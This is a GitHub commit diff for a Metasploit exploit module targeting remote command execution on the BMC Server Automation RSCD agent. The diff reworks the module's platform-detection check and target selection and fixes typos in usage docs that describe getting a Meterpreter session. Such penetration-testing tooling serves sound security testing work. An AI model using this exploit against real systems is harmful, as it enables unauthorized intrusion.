Skip to content

Commit 333ee89

Browse files
committed
Tidied up platform detection, check method, and minor typos.
1 parent 6568d29 commit 333ee89

File tree

2 files changed

+41
-30
lines changed

2 files changed

+41
-30
lines changed

documentation/modules/exploit/multi/misc/bmc_server_automation_rscd_nsh_rce.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,8 @@ To use this exploit you will need access to BMC BladeLogic Server Automation.
1919
4. Load the module `use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce`.
2020
5. Select the generic command target `set target 3`.
2121
6. Select a generic command payload `set payload cmd/unix/generic` or `set payload cmd/windows/generic`.
22-
6. Set the command to execute `set CMD "echo MSF"` or `set CMD "cmd /c echo MSF"`.
23-
7. Run the exploit `exploit`.
22+
7. Set the command to execute `set CMD "echo MSF"` or `set CMD "cmd /c echo MSF"`.
23+
8. Run the exploit `exploit`.
2424

2525
The result should be that the string `MSF` is returned and output.
2626

@@ -63,7 +63,7 @@ This module target provides support for command staging to enable arbitrary Meta
6363
[*] Meterpreter session 1 opened (172.31.58.107:4444 -> 34.239.181.84:56233) at 2018-01-14 00:54:49 +0000
6464

6565
### Target 2: Unix/Linux
66-
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Unix/Linux targets in the same was as target 1.
66+
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Unix/Linux targets in the same way as target 1.
6767

6868
### Target 3: Generic Cmd
6969
This target can be used with *cmd* payloads to execute operating system commands against the target host.

modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb

Lines changed: 38 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -78,31 +78,30 @@ def initialize(info = {})
7878

7979
def check
8080
# Send agentinfo request and check result
81-
print_status('Checking for BMC with agentinfo request.')
81+
vprint_status('Checking for BMC with agentinfo request.')
8282
res = send_agentinfo_request
83-
if res && !res.empty && res.start_with?('Response: ')
84-
# Check for length field in response packet
85-
res_pkt = res[10..res.length]
86-
if res_pkt.length > 3
87-
length_field = res_pkt[0..3].unpack('N')[0]
88-
if res_pkt.length - length_field == 4
89-
# Response packet appears to be in the correct format
90-
print_warning('Unexpected agentinto response. Enable verbose ' \
91-
'output for actual response.')
92-
vprint_warning(res)
93-
return Exploit::CheckCode::Unknown
94-
end
95-
end
9683

97-
# The response wasn't in the expected format, probably not BMC RSCD
98-
print_error('The target does not appear to be a BMC RSCD agent.')
99-
vprint_error(res)
100-
return Exploit::CheckCode::Safe
101-
else
102-
# BMC detected, print platform and return
103-
print_good('BMC RSCD agent detected, platform appears to be ' + res)
104-
return Exploit::CheckCode::Detected
84+
# Check for successful platform detection
85+
if res[0] == 1
86+
vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
87+
return CheckCode::Detected
88+
end
89+
90+
# Get first four bytes of the packet which should hold the content length
91+
res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0
92+
93+
# Return unknown if the packet format appears correct (length field check)
94+
if res[1] && res[1].length - 4 == res_len
95+
vprint_warning('Target appears to be BMC, however an unexpected ' \
96+
'agentinfo response was returned.')
97+
vprint_warning('Response: ' + res[1])
98+
return CheckCode::Unknown
10599
end
100+
101+
# Invalid response, probably not a BMC RSCD target
102+
vprint_error('The target does not appear to be a BMC RSCD agent.')
103+
vprint_error('Response: ' + res[1]) if res[1]
104+
CheckCode::Safe
106105
end
107106

108107
def exploit
@@ -113,7 +112,15 @@ def exploit
113112
# Attempt to detect the target platform
114113
vprint_status('Detecting remote platform for auto target selection.')
115114
platform = send_agentinfo_request
116-
target_name = if platform.downcase.include?('windows')
115+
116+
# Fail if platform detection was unsuccessful
117+
if platform[0].zero?
118+
fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \
119+
'detecting target platform.')
120+
end
121+
122+
# Set target based on returned platform
123+
target_name = if platform[1].downcase.include?('windows')
117124
'Windows/VBS Stager'
118125
else
119126
'Unix/Linux'
@@ -159,7 +166,6 @@ def send_nexec_request(command, show_output)
159166

160167
# Generate and send the payload
161168
vprint_status('Sending command to execute.')
162-
vprint_status('Command: ' + command)
163169
sock.put(generate_cmd_pkt(command))
164170

165171
# Finish the nexec request
@@ -208,9 +214,14 @@ def send_agentinfo_request
208214
res = sock.get_once
209215
disconnect
210216

211-
# Extract platform from response
212-
return res.split(';')[4] if res && res.split(';').length > 6
213-
'Response: ' + res
217+
# Return the platform field from the response if it looks valid
218+
res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
219+
return [1, res.split(';')[4]] if res &&
220+
res.split(';').length > 6 &&
221+
res.length == (res_len + 4)
222+
223+
# Invalid or unexpected response format, return the complete response
224+
[0, res]
214225
end
215226

216227
# Connect to the target and upgrade to an encrypted connection

0 commit comments

Comments
 (0)